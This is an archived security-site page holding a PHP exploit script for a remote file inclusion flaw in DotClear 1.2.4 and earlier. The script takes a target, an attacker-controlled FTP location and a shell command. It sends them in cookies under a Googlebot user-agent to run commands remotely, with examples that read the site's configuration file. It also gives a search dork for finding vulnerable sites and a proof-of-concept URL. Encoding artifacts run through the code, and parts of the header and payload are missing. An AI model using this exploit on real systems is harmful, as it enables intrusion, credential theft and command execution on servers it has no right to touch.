Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Blogs :: b06-2693.htm

DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion



DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion
DotClear <= 1.2.4 'blog_dc_path' (php5) arbitrary remote inclusion



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n\r\n";=0D 
echo "dork: \"propuls=E9 par DotClear\" \"fil atom\" \"fil rss\" +commentaires\r\n\r\n";=0D
=0D
/*=0D
works with PHP5=0D
register_globals=On,=0D
allow_url_fopen=On=0D
*/=0D
=0D
if ($argc<5) {=0D
echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to dotclear\r\n";=0D
echo "ftp:       a ftp location (without ending slash)\r\n";=0D
echo "cmd:       a shell command\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com cat ./../conf/config.php\r\n";=0D 
echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com/somedir ls -la -p81\r\n";=0D 
echo "php ".$argv[0]." target.com / ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n";=0D 
echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";=0D
echo "\r\n";=0D
die;=0D
}=0D
/*=0D
software site: http://www.dotclear.net/=0D 
=0D
  vulnerable code in layout/prepend.php near lines 78-104:=0D
=0D
...=0D
# Variable de conf=0D
$theme_path = $blog_dc_path.'/themes/';=0D
$theme_uri = dc_app_url.'/themes/';=0D
$img_path = dc_img_url;=0D
=0D
# D=E9finition du th=E8me et de la langue=0D
$__theme = dc_theme;=0D
$__lang = dc_default_lang;=0D
=0D
# Ajout des functions.php des plugins=0D
$objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');=0D
foreach ($objPlugins->getFunctions() as $pfunc) {=0D
	require_once $pfunc;=0D
}=0D
=0D
# D=E9finition du template=0D
if (!is_dir($theme_path.$__theme)) {=0D
	header('Content-type: text/plain');=0D
	echo 'Le th=E8me '.$__theme.' n\'existe pas';=0D
	exit;=0D
}=0D
=0D
if (file_exists($theme_path.$__theme.'/template.php')) {=0D
	$dc_template_file = $theme_path.$__theme.'/template.php';=0D
} else {=0D
	$dc_template_file = $theme_path.'default/template.php';=0D
}=0D
echo $dc_template_file;=0D
# Prepend du template s'il existe=0D
if (file_exists(dirname($dc_template_file).'/prepend.php')) {=0D
	require dirname($dc_template_file).'/prepend.php';=0D
}=0D
...=0D
=0D
=0D
$blog_dc_path var is not sanitized before to be used to include files,=0D
on PHP5, because is_dir() and file_exists() funcs support ftp wrappers,=0D
you can include an arbitrary prepend.php file in a themes/default/ folder=0D
from a remote resource, poc:=0D
=0D
http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:password@somesite.com&cmd=ls%20-la=0D 
=0D
									      */=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$loc=$argv[3];=0D
$cmd="";$port=80;$proxy="";=0D
=0D
for ($i=4; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
$loc=urlencode($loc);=0D
$cmd=urlencode($cmd);=0D
=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";=0D
$packet.="User-Agent: Googlebot/2.1\r\n";=0D
$packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, log this=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
if (strstr($html,"*deli*"))=0D
{echo "exploit succeeded...\r\n";=0D
 $temp=explode("*deli*",$html);=0D
 die($temp[1]);=0D
}=0D
else=0D
{echo "exploit failed...\r\n";=0D
 //debug=0D
 echo $html;=0D
}=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/dotclear_124_php5_xpl.html=0D 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH